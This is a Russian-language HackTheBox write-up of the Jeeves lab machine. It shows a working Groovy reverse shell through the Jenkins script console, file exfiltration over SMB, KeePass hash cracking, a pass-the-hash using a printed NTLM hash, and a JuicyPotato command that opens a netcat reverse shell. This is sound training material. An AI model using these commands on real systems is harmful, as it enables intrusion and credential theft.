> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md). # Запись HackTheBox Jeeves {% embed url="" %} {% hint style="warning" %} **Навыки:** * Эксплуатация Jenkins (консоль Groovy-скриптов) * Взлом KeePass * Передача хэша (Psexec) * RottenPotato (SeImpersonatePrivilege) * Альтернативные потоки данных (ADS) {% endhint %} ## Разведка **Настройка рабочей среды:** Мы создадим рабочее пространство, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки с помощью Nmap

**Проверка подключения VPN** Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

**Обнаружение открытых портов с помощью Nmap:** Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.63 -oG allPorts ```

**Анализ открытых портов с помощью extractPorts:** Используя функцию extractPorts, чтобы в кратком формате отобразить открытые порты и скопировать их в буфер обмена (80.135.445.50000)

**Сканирование версий портов с Nmap:** Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted": ```bash nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted ```

### Порт 80 - HTTP

HTTP-порт постоянно перенаправляет на `error.html` страницу. Другая полезная информация не была найдена.

### Порт 445 - SMB Мы пытаемся перечислить SMB-ресурсы с помощью `smbmap` и `smbclient`: ```bash smbmap -H 10.10.10.63 -u 'null' smbmap -H 10.10.10.63 ``` ```bash smbclient -L 10.10.10.63 -N ``` Однако сеанс завершается со следующей ошибкой: ``` session setup failed: NT_STATUS_ACCESS_DENIED ``` Мы используем `crackmapexec` чтобы собрать информацию о машине: ```bash crackmapexec smb 10.10.10.63 ``` Результат: * **ОС** : Windows 10 Pro 10586 x64 * **Имя машины**: JEEVES * **Домен**: Jeeves

### **Порт 50000 - Jenkins**

Мы запускаем сканирование директорий с помощью `gobuster` чтобы исследовать содержимое HTTP-сервиса: ```bash gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 ``` Мы обнаруживаем каталог **/askjeeves**

### CMS - Jenkins

**Jenkins - выполнение Groovy-скриптов** CMS Jenkins доступна, и **Консоль скриптов** опция включена, что позволяет нам запускать Groovy-скрипты.

Пример команды для проверки выполнения: ```groovy println "ipconfig".execute().text ```

### **Эксплуатация** #### **Обратная оболочка через консоль Groovy-скриптов** Чтобы получить удалённый доступ, действуем следующим образом: 1. /*/* Слушаем на нашей машине порт 443/*/*: ```bash rlwrap nc -nvlp 443 ``` 2. /*/* Запускаем следующий скрипт в Groovy/*/* консоли, чтобы установить обратную оболочку: {% code overflow="wrap" %} ```groovy String host="10.10.14.9"; int port=443; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close(); ``` {% endcode %}

### Флаг user.txt :)

## **Повышение привилегий** ## **Метод 1: взлом файла Keepass** В **Документы** каталог пользователя **Kosure**, мы находим файл с **.kdbx** расширением (файл Keepass).

/*/* Передача файла Keepass на нашу хост-машину/*/*/ Мы создаём SMB-сервер на нашей Linux-машине для передачи файла. Для этого мы используем `smbserver.py`: ```bash smbserver.py share $(pwd) -smb2support ``` **Передача с Windows**/ С Windows-машины мы копируем **CEH.kdbx** файл на нашу хост-машину: ```powershell copy C:/Users/kohsuke/Documents/CEH.kdbx //10.10.14.9/share/ ```

### **Извлечение хэша из файла KDBX** Чтобы извлечь хэш из файла KDBX, мы используем утилиту **KDBX** мы используем **keepass2john** утилиту, которая входит в **John the Ripper**: ```bash keepass2john CEH.kdbx ```

### **Взлом хэша** Мы используем **John the Ripper** чтобы выполнить атаку перебором на извлечённый хэш с помощью **списком паролей rockyou.txt**: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` Обнаруженный пароль: * `moonshine1`

### **Просмотр содержимого Keepass** Мы используем **KeepassXC** для открытия и просмотра содержимого **Keepass**

После ввода **moonshine1** пароля мы получаем доступ к нескольким паролям, включая NTLM v2-хэш пользователя **Administrator**:

```bash aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 ``` #### /*/* Проверка NTLM v2-хэша с CrackMapExec/*/* Мы проверяем, соответствует ли хэш учётной записи **Administrator** на **CrackMapExec**: ```bash crackmapexec smb 10.10.10.63 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' ``` Хэш действителен, и теперь мы можем провести атаку **Передача хэша**.

### **Pass-the-Hash — PsExec** Мы используем **PsExec** чтобы подключиться к целевой машине, используя обнаруженный NTLM v2. Это даёт нам административные привилегии ```bash psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00 ``` Теперь у нас есть полный доступ как у администратора.

## **Метод 2: эксплуатация привилегии SeImpersonatePrivilege** Мы обнаружили, что у пользователя есть `SeImpersonatePrivilege` привилегия, что делает его уязвимым для некоторых техник повышения привилегий. Нижеуказанная команда подтверждает наличие этой привилегии: ```bash whoami /priv ```

Чтобы воспользоваться этой уязвимостью, мы используем **JuicyPotato**— известный инструмент для злоупотребления этой привилегией в среде Windows. **Скачать необходимые инструменты** {% embed url="" %} {% embed url="" %} **Запустить сервер SmbFolder** на нашей атакующей машине, чтобы раздавать файлы: ```bash smbserver.py share $(pwd) -smb2support ``` **Передача файлов на целевую машину** используя `Invoke-WebRequest`:

copy //10.10.14.9/share/JP.exe
copy //10.10.14.9/share/nc64.exe

**Запуск JuicyPotato для повышения привилегий** Теперь мы запустим JuicyPotato, чтобы получить привилегированную сессию. Следующая команда запускает JuicyPotato, который запускает `cmd.exe` с высокими привилегиями и устанавливает соединение с нашей атакующей машиной через Netcat: ```powershell ./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc64.exe -e cmd 10.10.14.9 1234" ``` **Вход в высокую сессию** Чтобы перехватить соединение, мы слушаем порт 1234: ```bash rlwrap nc -nvlp 1234 ```

## Флаг root - ADS > Альтернативные потоки данных (ADS) — это функция **NTFS** файловых систем Windows, позволяющая связывать несколько потоков данных с одним файлом. Эти дополнительные потоки могут содержать скрытую информацию, которая не видна при традиционной проверке файла. Мы используем эту функцию, чтобы обнаружить **флаг root**.

#### **1. Проверка альтернативных потоков данных (ADS)** Сначала мы проверяем, содержит ли **hm.txt** файл, расположенный на рабочем столе пользователя **Administrator** альтернативные потоки данных. Для этого используем следующую команду: ```bash dir /r C:/Users/Administrator/Desktop/hm.txt ``` Эта команда выводит все альтернативные потоки данных, связанные с **hm.txt** файлом. Если альтернативный поток данных присутствует, он будет отображен.

#### **2. Просмотр содержимого альтернативного потока данных** Если мы найдём альтернативный поток данных, связанный с файлом, мы можем вывести его содержимое следующей командой: ```powershell more < C:/Users/Administrator/Desktop/hm.txt:root.txt ``` Это позволяет нам прочитать содержимое **root.txt** потока и получить **флаг root :)**

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.